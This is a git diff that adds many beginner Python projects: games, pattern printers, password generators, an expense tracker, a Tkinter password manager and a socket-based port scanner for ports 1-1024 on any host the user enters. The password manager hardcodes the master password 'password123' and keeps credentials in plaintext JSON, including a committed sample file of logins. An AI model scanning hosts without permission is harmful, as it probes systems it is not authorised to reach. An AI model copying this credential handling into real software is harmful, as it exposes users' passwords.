paddle2_vel = -2 + elif key == simplegui.KEY_MAP["s"]: + paddle2_vel = 2 + + +def keyup(key): + global paddle1_vel, paddle2_vel + if key == simplegui.KEY_MAP["down"] or key == simplegui.KEY_MAP["up"]: + paddle1_vel = 0 + if key == simplegui.KEY_MAP["w"] or key == simplegui.KEY_MAP["s"]: + paddle2_vel = 0 + + +frame = simplegui.create_frame("Pong", WIDTH, HEIGHT) +frame.set_draw_handler(draw) +frame.set_keydown_handler(keydown) +frame.set_keyup_handler(keyup) +frame.add_button("Restart", reset) + +new_game() +print() +frame.start() diff --git a/PORT SCANNER.PY b/PORT SCANNER.PY new file mode 100644 index 00000000000..594ea3eb16f --- /dev/null +++ b/PORT SCANNER.PY @@ -0,0 +1,123 @@ +#!/usr/bin/env python +""" +PORT SCANNER IN PYTHON... +This post will show how you can make a small and easy-to-use port scanner program +written in Python. +There are many ways of doing this with Python, and I'm going to do it using the +built-in module Socket. +Sockets +The socket module in Python provides access to the BSD socket interface. + +It includes the socket class, for handling the actual data channel, and functions +for network-related tasks such as converting a server’s name to an address and +formatting data to be sent across the network. Source + +Sockets are widely used on the Internet, as they are behind any kind of +network communications done by your computer. + +The INET sockets, account for at least 99% of the sockets in use. + +The web browser’s that you use opens a socket and connects to the web server. + +Any network communication goes through a socket. + +For more reading about the socket module, please see the official documentation +Socket functions +Before we get started with our sample program, let's see some of the socket +functions we are going to use. + +sock = socket.socket (socket_family, socket_type) +Syntax for creating a socket + +sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM) +Creates a stream socket + +AF_INET +Socket Family (here Address Family version 4 or IPv4) + +SOCK_STREAM +Socket type TCP connections + +SOCK_DGRAM +Socket type UDP connections + +gethostbyname("host") +Translate a host name to IPv4 address format + +socket.gethostbyname_ex("host") +Translate a host name to IPv4 address format, extended interface + +socket.getfqdn("8.8.8.8") +Get the fqdn (fully qualified domain name) + +socket.gethostname() +Returns the hostname of the machine.. + +socket.error +Exception handling +Making a program using Python Sockets +How to make a simple port scanner program in Python + +This small port scanner program will try to connect on every port you define for +a particular host. + +The first thing we must do is import the socket library and other libraries that +we need. + +Open up an text editor, copy & paste the code below. Save the file as: +"portscanner.py" and exit the editor +""" + +import socket +import subprocess +import sys +from time import time +import platform + +# Clear the screen +subprocess.call('clear' if platform.platform() in ("Linux", "Darwin") else "cls", shell=True) + +# Ask for input +remoteServer = input("Enter a remote host to scan: ") +remoteServerIP = socket.gethostbyname(remoteServer) + +# Print a nice banner with information on which host we are about to scan +print("-" * 60) +print("Please wait, scanning remote host", remoteServerIP) +print("-" * 60) + +# Check what time the scan started +t1 = time() + +# Using the range function to specify ports (here it will scans all ports between 1 and 1024) + +# We also put in some error handling for catching errors + +try: + for port in range(1, 1025): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + result = sock.connect_ex((remoteServerIP, port)) + if result == 0: + print("Port {}: Open".format(port)) + sock.close() + +except KeyboardInterrupt: + print("You pressed Ctrl+C") + sys.exit(2) + +except socket.gaierror: + print('Hostname could not be resolved. Exiting') + sys.exit(1) + +except socket.error: + print("Couldn't connect to server") + sys.exit(3) + +# Checking the time again +t2 = time() + +# Calculates the difference of time, to see how long it took to run the script +total = t2 - t1 + +# Printing the information to screen +print('Scanning Completed in about {total} seconds', total) diff --git a/Palindrome_Checker.py b/Palindrome_Checker.py new file mode 100644 index 00000000000..6f70f0e1c9f --- /dev/null +++ b/Palindrome_Checker.py @@ -0,0 +1,13 @@ +""" + +A simple method is , to reverse the string and and compare with original string. +If both are same that's means string is palindrome otherwise else. +""" + +phrase = input() +if phrase == phrase[::-1]: # slicing technique + """phrase[::-1] this code is for reverse a string very smartly""" + + print("\n Wow!, The phrase is a Palindrome!") +else: + print("\n Sorry, The given phrase is not a Palindrome.") diff --git a/Password Generator/pass_gen.py b/Password Generator/pass_gen.py new file mode 100644 index 00000000000..82b939cd882 --- /dev/null +++ b/Password Generator/pass_gen.py @@ -0,0 +1,94 @@ +import string as str +import secrets + + +class PasswordGenerator: + @staticmethod + def gen_sequence( + conditions, + ): # must have conditions (in a list format), for each member of the list possible_characters + possible_characters = [ + str.ascii_lowercase, + str.ascii_uppercase, + str.digits, + str.punctuation, + ] + sequence = "" + for x in range(len(conditions)): + if conditions[x]: + sequence += possible_characters[x] + else: + pass + return sequence + + @staticmethod + def gen_password(sequence, passlength=8): + password = "".join((secrets.choice(sequence) for i in range(passlength))) + return password + + +class Interface: + has_characters = { + "lowercase": True, + "uppercase": True, + "digits": True, + "punctuation": True, + } + + @classmethod + def change_has_characters(cls, change): + try: + cls.has_characters[ + change + ] # to check if the specified key exists in the dicitonary + except Exception as err: + print(f"Invalid \nan Exception: {err}") + else: + cls.has_characters[change] = not cls.has_characters[ + change + ] # automaticly changres to the oppesite value already there + print(f"{change} is now set to {cls.has_characters[change]}") + + @classmethod + def show_has_characters(cls): + print(cls.has_characters) # print the output + + def generate_password(self, lenght): + sequence = PasswordGenerator.gen_sequence(list(self.has_characters.values())) + print(PasswordGenerator.gen_password(sequence, lenght)) + + +def list_to_vertical_string(list): + to_return = "" + for member in list: + to_return += f"{member}\n" + return to_return + + +class Run: + def decide_operation(self): + user_input = input(": ") + try: + int(user_input) + except: + Interface.change_has_characters(user_input) + else: + Interface().generate_password(int(user_input)) + finally: + print("\n\n") + + def run(self): + menu = f"""Welcome to the PassGen App! +Commands: + generate password -> + + +commands to change the characters to be used to generate passwords: +{list_to_vertical_string(Interface.has_characters.keys())} + """ + print(menu) + while True: + self.decide_operation() + + +Run().run() diff --git a/Password Generator/requirements.txt b/Password Generator/requirements.txt new file mode 100644 index 00000000000..af8d9cdcca5 --- /dev/null +++ b/Password Generator/requirements.txt @@ -0,0 +1,2 @@ +colorama==0.4.6 +inquirer==3.4.1 \ No newline at end of file diff --git a/Password Generator/requirements_new.txt b/Password Generator/requirements_new.txt new file mode 100644 index 00000000000..8b137891791 --- /dev/null +++ b/Password Generator/requirements_new.txt @@ -0,0 +1 @@ + diff --git a/Password Manager Using Tkinter/PGV.py b/Password Manager Using Tkinter/PGV.py new file mode 100644 index 00000000000..045625ea650 --- /dev/null +++ b/Password Manager Using Tkinter/PGV.py @@ -0,0 +1,18 @@ +import json + +new_data = { + website_input.get():{ + "email": email_input.get(), + "password": passw_input.get() + } + } + +try: + with open("data.json", "r") as data_file: + data = json.load(data_file) +except FileNotFoundError: + with open("data.json", "w") as data_file: + pass +else: + with open("data.json", "w") as data_file: + json.dump(new_data, data_file, indent = 4) \ No newline at end of file diff --git a/Password Manager Using Tkinter/README.md b/Password Manager Using Tkinter/README.md new file mode 100644 index 00000000000..a31bf876550 --- /dev/null +++ b/Password Manager Using Tkinter/README.md @@ -0,0 +1,68 @@ +# My Personal Password Manager + +Hello there! Welcome to my Password Manager project. I created this application to provide a simple and secure way **to manage all my website login credentials in one place**. It's a desktop application **built with Python**, and I've focused on making it both functional and easy on the eyes. + +--- + +## What It Can Do + +- **Generate Strong Passwords**: One click = secure, random passwords (auto-copied to clipboard!). + +- **Save Credentials**: Store site name, email/username, and password safely. + +- **Quick Search**: Instantly find saved logins by website name. + +- **View All Passwords**: Unlock all saved entries with your master password — neatly organized in a table. + +- **One-Click Copy**: Copy email or password directly from the list for quick logins. + +--- + +## How I Built It + +- **Python**: Powers the core logic behind the app. + +- **Tkinter**: Handles the clean and simple user interface. + +- **ttkbootstrap**: Adds a modern, professional theme to the UI. + +- **JSON**: Stores all password data securely in a local data.json file. + +--- + +## How to Get Started + +1. Install Python 3 on your system. + +2. Download all project files (main.py, logo.png, requirements.txt). + +3. Open Terminal/CMD, navigate to the project folder, and run: +```python +pip install -r requirements.txt +``` + +4. Start the app with: +```python +python main.py +``` + +5. Enjoy! + +--- + +## Screenshots + + + + + + + + + + +
Main Window where from where you can add credentialsMain Window
Second window — where you can see all your saved passwords (but hey, you’ll need a password to see your passwords 😏). +Main Window
+ + + diff --git a/Password Manager Using Tkinter/data.json b/Password Manager Using Tkinter/data.json new file mode 100644 index 00000000000..399ea997575 --- /dev/null +++ b/Password Manager Using Tkinter/data.json @@ -0,0 +1,14 @@ +{ + "Amazon": { + "email": "prashant123Amazon@gmail.com", + "password": "1mD%#Z555rF$&2aRpI" + }, + "Facebook": { + "email": "prashant123Facebook@gmail.com", + "password": "qQ6#H7o&)i8S!3sO)c4" + }, + "Flipkart": { + "email": "prashant123Flipkart@gmail.com", + "password": "1!+7NqmUZbN18K(3A+" + } +} \ No newline at end of file diff --git a/Password Manager Using Tkinter/data.txt b/Password Manager Using Tkinter/data.txt new file mode 100644 index 00000000000..e69de29bb2d diff --git a/Password Manager Using Tkinter/logo.png b/Password Manager Using Tkinter/logo.png new file mode 100644 index 00000000000..59b69165150 Binary files /dev/null and b/Password Manager Using Tkinter/logo.png differ diff --git a/Password Manager Using Tkinter/main.py b/Password Manager Using Tkinter/main.py new file mode 100644 index 00000000000..15d6fdc1d13 --- /dev/null +++ b/Password Manager Using Tkinter/main.py @@ -0,0 +1,207 @@ +import tkinter as tk +from tkinter import messagebox, simpledialog +import ttkbootstrap as ttk +from ttkbootstrap.constants import * +import pyperclip +import json +from random import choice, randint, shuffle + +# ---------------------------- CONSTANTS ------------------------------- # +FONT_NAME = "Helvetica" +# IMP: this is not a secure way to store a master password. +# in a real application, this should be changed and stored securely (e.g., hashed and salted). +MASTER_PASSWORD = "password123" + +# ---------------------------- PASSWORD GENERATOR ------------------------------- # +def generate_password(): + """generates a random strong password and copies it to clipboard.""" + letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] + numbers = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] + symbols = ['!', '#', '$', '%', '&', '(', ')', '*', '+'] + + password_letters = [choice(letters) for _ in range(randint(8, 10))] + password_symbols = [choice(symbols) for _ in range(randint(2, 4))] + password_numbers = [choice(numbers) for _ in range(randint(2, 4))] + + password_list = password_letters + password_symbols + password_numbers + shuffle(password_list) + + password = "".join(password_list) + password_entry.delete(0, tk.END) + password_entry.insert(0, password) + pyperclip.copy(password) + messagebox.showinfo(title="Password Generated", message="Password copied to clipboard!") + +# ---------------------------- SAVE PASSWORD ------------------------------- # +def save(): + """saves the website, email, and password to a JSON file.""" + website = website_entry.get() + email = email_entry.get() + password = password_entry.get() + new_data = { + website: { + "email": email, + "password": password, + } + } + + if not website or not password: + messagebox.showerror(title="Oops", message="Please don't leave any fields empty!") + return + + is_ok = messagebox.askokcancel(title=website, message=f"These are the details entered: \nEmail: {email} " + f"\nPassword: {password} \nIs it ok to save?") + if is_ok: + try: + with open("data.json", "r") as data_file: + data = json.load(data_file) + except (FileNotFoundError, json.JSONDecodeError): + data = {} + + data.update(new_data) + + with open("data.json", "w") as data_file: + json.dump(data, data_file, indent=4) + + website_entry.delete(0, tk.END) + password_entry.delete(0, tk.END) + +# ---------------------------- FIND PASSWORD ------------------------------- # +def find_password(): + """finds and displays password for a given website.""" + website = website_entry.get() + try: + with open("data.json", "r") as data_file: + data = json.load(data_file) + except (FileNotFoundError, json.JSONDecodeError): + messagebox.showerror(title="Error", message="No Data File Found.") + return + + if website in data: + email = data[website]["email"] + password = data[website]["password"] + messagebox.showinfo(title=website, message=f"Email: {email}\nPassword: {password}") + pyperclip.copy(password) + messagebox.showinfo(title="Copied", message="Password for {} copied to clipboard.".format(website)) + else: + messagebox.showerror(title="Error", message=f"No details for {website} exists.") + +# ---------------------------- VIEW ALL PASSWORDS ------------------------------- # +def view_all_passwords(): + """prompts for master password and displays all saved passwords if correct.""" + password = simpledialog.askstring("Master Password", "Please enter the master password:", show='*') + + if password == MASTER_PASSWORD: + show_passwords_window() + elif password is not None: # avoids error message if user clicks cancel + messagebox.showerror("Incorrect Password", "The master password you entered is incorrect.") + +def show_passwords_window(): + """creates a new window to display all passwords in a table.""" + all_passwords_window = tk.Toplevel(window) + all_passwords_window.title("All Saved Passwords") + all_passwords_window.config(padx=20, pady=20) + + # a frame for the treeview and scrollbar + tree_frame = ttk.Frame(all_passwords_window) + tree_frame.grid(row=0, column=0, columnspan=2, sticky='nsew') + + # a Treeview (table) + cols = ('Website', 'Email', 'Password') + tree = ttk.Treeview(tree_frame, columns=cols, show='headings') + + # column headings and widths + tree.heading('Website', text='Website') + tree.column('Website', width=150) + tree.heading('Email', text='Email/Username') + tree.column('Email', width=200) + tree.heading('Password', text='Password') + tree.column('Password', width=200) + + tree.grid(row=0, column=0, sticky='nsew') + + # a scrollbar + scrollbar = ttk.Scrollbar(tree_frame, orient=tk.VERTICAL, command=tree.yview) + tree.configure(yscroll=scrollbar.set) + scrollbar.grid(row=0, column=1, sticky='ns') + + # load data from JSON file + try: + with open("data.json", "r") as data_file: + data = json.load(data_file) + + # insert data into the treeview + for website, details in data.items(): + tree.insert("", "end", values=(website, details['email'], details['password'])) + + except (FileNotFoundError, json.JSONDecodeError): + # if file not found or empty, it will just show an empty table + pass + + def copy_selected_info(column_index, info_type): + """copies the email or password of the selected row.""" + selected_item = tree.focus() + if not selected_item: + messagebox.showwarning("No Selection", "Please select a row from the table first.", parent=all_passwords_window) + return + + item_values = tree.item(selected_item, 'values') + info_to_copy = item_values[column_index] + pyperclip.copy(info_to_copy) + messagebox.showinfo("Copied!", f"The {info_type.lower()} for '{item_values[0]}' has been copied to your clipboard.", parent=all_passwords_window) + + # a frame for the buttons + button_frame = ttk.Frame(all_passwords_window) + button_frame.grid(row=1, column=0, columnspan=2, pady=(10,0)) + + copy_email_button = ttk.Button(button_frame, text="Copy Email", style="success.TButton", command=lambda: copy_selected_info(1, "Email")) + copy_email_button.pack(side=tk.LEFT, padx=5) + + copy_password_button = ttk.Button(button_frame, text="Copy Password", style="success.TButton", command=lambda: copy_selected_info(2, "Password")) + copy_password_button.pack(side=tk.LEFT, padx=5) + + all_passwords_window.grab_set() # makes window modal + +# ---------------------------- UI SETUP ------------------------------- # +window = ttk.Window(themename="superhero") +window.title("Password Manager") +window.config(padx=50, pady=50) + +# logo +canvas = tk.Canvas(width=200, height=200, highlightthickness=0) +logo_img = tk.PhotoImage(file="logo.png") +canvas.create_image(100, 100, image=logo_img) +canvas.grid(row=0, column=1, pady=(0, 20)) + +# labels +website_label = ttk.Label(text="Website:", font=(FONT_NAME, 12)) +website_label.grid(row=1, column=0, sticky="W") +email_label = ttk.Label(text="Email/Username:", font=(FONT_NAME, 12)) +email_label.grid(row=2, column=0, sticky="W") +password_label = ttk.Label(text="Password:", font=(FONT_NAME, 12)) +password_label.grid(row=3, column=0, sticky="W") + +# entries +website_entry = ttk.Entry(width=32) +website_entry.grid(row=1, column=1, pady=5, sticky="EW") +website_entry.focus() +email_entry = ttk.Entry(width=50) +email_entry.grid(row=2, column=1, columnspan=2, pady=5, sticky="EW") +email_entry.insert(0, "example@email.com") +password_entry = ttk.Entry(width=32) +password_entry.grid(row=3, column=1, pady=5, sticky="EW") + +# buttons +search_button = ttk.Button(text="Search", width=14, command=find_password, style="info.TButton") +search_button.grid(row=1, column=2, sticky="EW", padx=(5,0)) +generate_password_button = ttk.Button(text="Generate Password", command=generate_password, style="success.TButton") +generate_password_button.grid(row=3, column=2, sticky="EW", padx=(5,0)) +add_button = ttk.Button(text="Add", width=43, command=save, style="primary.TButton") +add_button.grid(row=4, column=1, columnspan=2, pady=(10,0), sticky="EW") + +view_all_button = ttk.Button(text="View All Passwords", command=view_all_passwords, style="secondary.TButton") +view_all_button.grid(row=5, column=1, columnspan=2, pady=(10,0), sticky="EW") + + +window.mainloop() + diff --git a/Password Manager Using Tkinter/requirements.txt b/Password Manager Using Tkinter/requirements.txt new file mode 100644 index 00000000000..60ffacab8a4 --- /dev/null +++ b/Password Manager Using Tkinter/requirements.txt @@ -0,0 +1 @@ +ttkbootstrap \ No newline at end of file diff --git a/Patterns/half triangle pattern.py b/Patterns/half triangle pattern.py new file mode 100644 index 00000000000..9bdf4ecb3b8 --- /dev/null +++ b/Patterns/half triangle pattern.py @@ -0,0 +1,70 @@ +# (upper half - repeat) +# 1 +# 22 +# 333 + +# (upper half - incremental) +# 1 +# 12 +# 123 + +# (lower half - incremental) +# 123 +# 12 +# 1 + +# (lower half - repeat) +# 333 +# 22 +# 1 + + +def main(): + lines = int(input("Enter no.of lines: ")) + pattern = input("i: increment or r:repeat pattern: ").lower() + part = input("u: upper part or l: lower part: ").lower() + + match pattern: + case "i": + if part == "u": + upper_half_incremental_pattern(lines) + else: + lower_half_incremental_pattern(lines) + + case "r": + if part == "u": + upper_half_repeat_pattern(lines) + else: + lower_half_repeat_pattern(lines) + + case _: + print("Invalid input") + exit(0) + + +def upper_half_repeat_pattern(lines=5): + for column in range(1, (lines + 1)): + print(f"{str(column) * column}") + + +def lower_half_repeat_pattern(lines=5): + for length in range(lines, 0, -1): + print(f"{str(length) * length}") + + +def upper_half_incremental_pattern(lines=5): + const = "" + for column in range(1, (lines + 1)): + const += str(column) + print(const) + + +def lower_half_incremental_pattern(lines=5): + for row_length in range(lines, 0, -1): + for x in range(1, row_length + 1): + print(x, end="") + print() + + +if __name__ == "__main__": + main() diff --git a/Patterns/pattern2.py b/Patterns/pattern2.py new file mode 100644 index 00000000000..b1d7b8ba3e6 --- /dev/null +++ b/Patterns/pattern2.py @@ -0,0 +1,23 @@ +# pattern +# $$$$$$$$$$$ +# $$$$$$$$$ +# $$$$$$$ +# $$$$$ +# $$$ +# $ + + +def main(): + lines = int(input("Enter no.of lines: ")) + pattern(lines) + + +def pattern(lines): + flag = lines + for i in range(lines): + print(" " * (i), "$" * (2 * flag - 1)) + flag -= 1 + + +if __name__ == "__main__": + main() diff --git a/Patterns/pattern5.py b/Patterns/pattern5.py new file mode 100644 index 00000000000..c9a9643e262 --- /dev/null +++ b/Patterns/pattern5.py @@ -0,0 +1,22 @@ +# pattern Reverse piramid of numbers +# 1 +# 21 +# 321 +# 4321 +# 54321 + + +def main(): + lines = int(input("Enter the number of lines: ")) + pattern(lines) + + +def pattern(rows): + const = "" + for i in range(1, rows + 1): + const = str(i) + const + print(const) + + +if __name__ == "__main__": + main() diff --git a/Patterns/pattern6.py b/Patterns/pattern6.py new file mode 100644 index 00000000000..1384619b0ad --- /dev/null +++ b/Patterns/pattern6.py @@ -0,0 +1,18 @@ +# Python code to print the following alphabet pattern +# A +# B B +# C C C +# D D D D +# E E E E E +def alphabetpattern(n): + num = 65 + for i in range(0, n): + for j in range(0, i + 1): + ch = chr(num) + print(ch, end=" ") + num = num + 1 + print("\r") + + +a = 5 +alphabetpattern(a) diff --git a/Patterns/patterns.py b/Patterns/patterns.py new file mode 100644 index 00000000000..f71a38c04eb --- /dev/null +++ b/Patterns/patterns.py @@ -0,0 +1,32 @@ +# Lets say we want to print a combination of stars as shown below. + +# * +# * * +# * * * +# * * * * +# * * * * * + + +# Let's say we want to print pattern which is opposite of above: +# * * * * * +# * * * * +# * * * +# * * +# * + + +def main(): + lines = int(input("Enter no.of lines: ")) + pattern(lines) + + +def pattern(lines): + for i in range(1, lines + 1): + print("* " * i) + print() + for i in range(lines): + print(" " * i, "* " * (lines - i)) + + +if __name__ == "__main__": + main() diff --git a/Pc_information.py b/Pc_information.py new file mode 100644 index 00000000000..a56c8b8764e --- /dev/null +++ b/Pc_information.py @@ -0,0 +1,13 @@ +import platform # built in lib + +print(f"System : {platform.system()}") # Prints type of Operating System +print(f"System name : {platform.node()}") # Prints System Name +print(f"version : {platform.release()}") # Prints System Version +# TO get the detailed version number +print( + f"detailed version number : {platform.version()}" +) # Prints detailed version number +print( + f"System architecture : {platform.machine()}" +) # Prints whether the system is 32-bit ot 64-bit +print(f"System processor : {platform.processor()}") # Prints CPU model diff --git a/Personal-Expense-Tracker/README.md b/Personal-Expense-Tracker/README.md new file mode 100644 index 00000000000..8c54ea4d695 --- /dev/null +++ b/Personal-Expense-Tracker/README.md @@ -0,0 +1,50 @@ +# Personal Expense Tracker CLI + +This is a basic command-line interface (CLI) application built with Python to help you track your daily expenses. It allows you to easily add your expenditures, categorize them, and view your spending patterns over different time periods. + +## Features + +* **Add New Expense:** Record new expenses by providing the amount, category (e.g., food, travel, shopping, bills), date, and an optional note. +* **View Expenses:** Display your expenses for a specific day, week, month, or all recorded expenses. +* **Filter by Category:** View expenses belonging to a particular category. +* **Data Persistence:** Your expense data is saved to a plain text file (`expenses.txt`) so it's retained between sessions. +* **Simple Command-Line Interface:** Easy-to-use text-based menu for interacting with the application. + +## Technologies Used + +* **Python:** The core programming language used for the application logic. +* **File Handling:** Used to store and retrieve expense data from a text file. +* **`datetime` module:** For handling and managing date information for expenses. + +## How to Run + +1. Make sure you have Python installed on your system. +2. Save the `expense_tracker.py` file to your local machine. +3. Open your terminal or command prompt. +4. Navigate to the directory where you saved the file using the `cd` command. +5. Run the application by executing the command: `python expense_tracker.py` + +## Basic Usage + +1. Run the script. You will see a menu with different options. +2. To add a new expense, choose option `1` and follow the prompts to enter the required information. +3. To view expenses, choose option `2` and select the desired time period (day, week, month, or all). +4. To filter expenses by category, choose option `3` and enter the category you want to view. +5. To save any new expenses (though the application automatically saves on exit as well), choose option `4`. +6. To exit the application, choose option `5`. + +## Potential Future Enhancements (Ideas for Expansion) + +* Implement a monthly budget feature with alerts. +* Add a login system for multiple users. +* Generate visual reports like pie charts for category-wise spending (using libraries like `matplotlib`). +* Incorporate voice input for adding expenses (using `speech_recognition`). +* Migrate data storage to a more structured database like SQLite. + +* Add functionality to export expense data to CSV files. + +--- + +> This simple Personal Expense Tracker provides a basic yet functional way to manage your finances from the command line. + +#### Author: Dhrubaraj Pati \ No newline at end of file diff --git a/Personal-Expense-Tracker/expense_tracker.py b/Personal-Expense-Tracker/expense_tracker.py new file mode 100644 index 00000000000..d438734f3e2 --- /dev/null +++ b/Personal-Expense-Tracker/expense_tracker.py @@ -0,0 +1,141 @@ +import datetime + + +def add_expense(expenses): + amount = float(input("Enter the expense amount: ")) + category = input("Category (food, travel, shopping, bills, etc.): ") + date_str = input("Date (YYYY-MM-DD): ") + try: + date = datetime.datetime.strptime(date_str, "%Y-%m-%d").date() + except ValueError: + print("Incorrect date format. Please use YYYY-MM-DD format.") + return + note = input("(Optional) Note: ") + expenses.append( + {"amount": amount, "category": category, "date": date, "note": note} + ) + print("Expense added!") + + +def view_expenses(expenses, period="all", category_filter=None): + if not expenses: + print("No expenses recorded yet.") + return + + filtered_expenses = expenses + if category_filter: + filtered_expenses = [ + e for e in filtered_expenses if e["category"] == category_filter + ] + + if period == "day": + date_str = input("Enter the date to view expenses for (YYYY-MM-DD): ") + try: + date = datetime.datetime.strptime(date_str, "%Y-%m-%d").date() + filtered_expenses = [e for e in filtered_expenses if e["date"] == date] + except ValueError: + print("Incorrect date format.") + return + elif period == "week": + date_str = input( + "Enter the start date of the week (YYYY-MM-DD - first day of the week): " + ) + try: + start_date = datetime.datetime.strptime(date_str, "%Y-%m-%d").date() + end_date = start_date + datetime.timedelta(days=6) + filtered_expenses = [ + e for e in filtered_expenses if start_date <= e["date"] <= end_date + ] + except ValueError: + print("Incorrect date format.") + return + elif period == "month": + year = input("Enter the year for the month (YYYY): ") + month = input("Enter the month (MM): ") + try: + year = int(year) + month = int(month) + filtered_expenses = [ + e + for e in filtered_expenses + if e["date"].year == year and e["date"].month == month + ] + except ValueError: + print("Incorrect year or month format.") + return + + if not filtered_expenses: + print("No expenses found for this period or category.") + return + + print("\n--- Expenses ---") + total_spent = 0 + for expense in filtered_expenses: + print( + f"Amount: {expense['amount']}, Category: {expense['category']}, Date: {expense['date']}, Note: {expense['note']}" + ) + total_spent += expense["amount"] + print(f"\nTotal spent: {total_spent}") + + +def save_expenses(expenses, filename="expenses.txt"): + with open(filename, "w") as f: + for expense in expenses: + f.write( + f"{expense['amount']},{expense['category']},{expense['date']},{expense['note']}\n" + ) + print("Expenses saved!") + + +def load_expenses(filename="expenses.txt"): + expenses = [] + try: + with open(filename, "r") as f: + for line in f: + amount, category, date_str, note = line.strip().split(",") + expenses.append( + { + "amount": float(amount), + "category": category, + "date": datetime.datetime.strptime(date_str, "%Y-%m-%d").date(), + "note": note, + } + ) + except FileNotFoundError: + pass + return expenses + + +def main(): + expenses = load_expenses() + + while True: + print("\n--- Personal Expense Tracker ---") + print("1. Add new expense") + print("2. View expenses") + print("3. Filter by category") + print("4. Save expenses") + print("5. Exit") + + choice = input("Choose your option: ") + + if choice == "1": + add_expense(expenses) + elif choice == "2": + period = input("View expenses by (day/week/month/all): ").lower() + view_expenses(expenses, period) + elif choice == "3": + category_filter = input("Enter the category to filter by: ") + view_expenses(expenses, category_filter=category_filter) + elif choice == "4": + save_expenses(expenses) + elif choice == "5": + save_expenses(expenses) + print("Thank you!") + break + else: + print("Invalid option. Please try again.") + + +if __name__ == "__main__": + main() diff --git a/PingPong/Ball.py b/PingPong/Ball.py new file mode 100644 index 00000000000..b1b9833f116 --- /dev/null +++ b/PingPong/Ball.py @@ -0,0 +1,46 @@ +import pygame + +pygame.init() + + +class Ball: + def __init__(self, pos, vel, win, rad, minCoord, maxCoord): + self.pos = pos + self.vel = vel + self.win = win + self.rad = rad + self.minCoord = minCoord + self.maxCoord = maxCoord + + def drawBall(self): + pygame.draw.circle(self.win, (255,) * 3, self.pos, self.rad, 0) + + def doHorizontalFlip(self): + self.vel[0] *= -1 + print("Github") + + def doVerticalFlip(self): + self.vel[1] *= -1 + + def borderCollisionCheck(self): + if (self.pos[0] <= self.minCoord[0]) or (self.pos[0] >= self.maxCoord[0]): + self.doHorizontalFlip() + + if (self.pos[1] <= self.minCoord[1]) or (self.pos[1] >= self.maxCoord[1]): + self.doVerticalFlip() + + def updatePos(self): + self.pos = [self.pos[0] + self.vel[0], self.pos[1] + self.vel[1]] + + def checkSlabCollision(self, slabPos): # slab pos = [xmin, ymin, xmax, ymax] + if ( + self.pos[0] + self.rad > slabPos[0] + and self.pos[0] - self.rad < slabPos[2] + and self.pos[1] + self.rad > slabPos[1] + and self.pos[1] - self.rad < slabPos[3] + ): + # Handle collision here (e.g., reverse ball's direction) + if self.pos[0] < slabPos[0] or self.pos[0] > slabPos[2]: + self.vel[0] *= -1 + if self.pos[1] < slabPos[1] or self.pos[1] > slabPos[3]: + self.vel[1] *= -1 diff --git a/PingPong/Slab.py b/PingPong/Slab.py new file mode 100644 index 00000000000..17b5bbac724 --- /dev/null +++ b/PingPong/Slab.py @@ -0,0 +1,41 @@ +import pygame + +pygame.init() + + +class Slab: + def __init__(self, win, size, pos, player, minPos, maxPos): + self.win = win + self.size = size + self.pos = pos + self.player = player # player = 1 or 2 + self.minPos = minPos + self.maxPos = maxPos + + def draw(self): + pygame.draw.rect( + self.win, + (255, 255, 255), + (self.pos[0], self.pos[1], self.size[0], self.size[1]), + ) + + def getCoords(self): + return [ + self.pos[0], + self.pos[1], + self.pos[0] + self.size[0], + self.pos[1] + self.size[1], + ] + + def updatePos(self): + keys = pygame.key.get_pressed() + if self.player == 1: + if keys[pygame.K_UP] and self.getCoords()[1] > self.minPos[1]: + self.pos[1] -= 0.3 + if keys[pygame.K_DOWN] and self.getCoords()[3] < self.maxPos[1]: + self.pos[1] += 0.3 + else: + if keys[pygame.K_w] and self.getCoords()[1] > self.minPos[1]: + self.pos[1] -= 0.3 + if keys[pygame.K_s] and self.getCoords()[3] < self.maxPos[1]: + self.pos[1] += 0.3 diff --git a/PingPong/main.py b/PingPong/main.py new file mode 100644 index 00000000000..b98773e8c08 --- /dev/null +++ b/PingPong/main.py @@ -0,0 +1,40 @@ +from Ball import Ball +from Slab import Slab +import pygame + +WIDTH = 600 +HEIGHT = 600 +BLACK = (0, 0, 0) +WHITE = (255,) * 3 +pygame.init() + +win = pygame.display.set_mode((WIDTH, HEIGHT)) + +print("Controls: W&S for player 1 and arrow up and down for player 2") + +ball = Ball([300, 300], [0.3, 0.1], win, 10, (0, 0), (600, 600)) +slab = Slab(win, [10, 100], [500, 300], 1, (0, 0), (600, 600)) +slab2 = Slab(win, [10, 100], [100, 300], 2, (0, 0), (600, 600)) +run = True +while run: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + run = False + + keys = pygame.key.get_pressed() + win.fill(BLACK) + + ball.borderCollisionCheck() + ball.checkSlabCollision(slab.getCoords()) + ball.checkSlabCollision(slab2.getCoords()) + ball.updatePos() + ball.drawBall() + + slab.updatePos() + slab.draw() + + slab2.updatePos() + slab2.draw() + + pygame.display.update() +pygame.quit() diff --git a/Polyline.py b/Polyline.py new file mode 100644 index 00000000000..08d51eb5fcf --- /dev/null +++ b/Polyline.py @@ -0,0 +1,30 @@ +# Polyline drawing in codeskulptor + +import simplegui + +polyline = [] + + +def click(pos): + global polyline + polyline.append(pos) + + +def clear(): + global polyline + polyline = [] + + +def draw(canvas): + if len(polyline) == 1: + canvas.draw_point(polyline[0], "White") + for i in range(1, len(polyline)): + canvas.draw_line(polyline[i - 1], polyline[i], 2, "White") + + +frame = simplegui.create_frame("Echo click", 300, 200) +frame.set_mouseclick_handler(click) +frame.set_draw_handler(draw) +frame.add_button("Clear", clear) + +frame.start() diff --git a/Pomodoro (tkinter).py b/Pomodoro (tkinter).py new file mode 100644 index 00000000000..3b4c5b43205 --- /dev/null +++ b/Pomodoro (tkinter).py @@ -0,0 +1,244 @@ +from tkinter import * + +# ---------------------------- CONSTANTS & GLOBALS ------------------------------- # +PINK = "#e2979c" +GREEN = "#9bdeac" +FONT_NAME = "Courier" +DEFAULT_WORK_MIN = 25 +DEFAULT_BREAK_MIN = 5 + +# Background color options 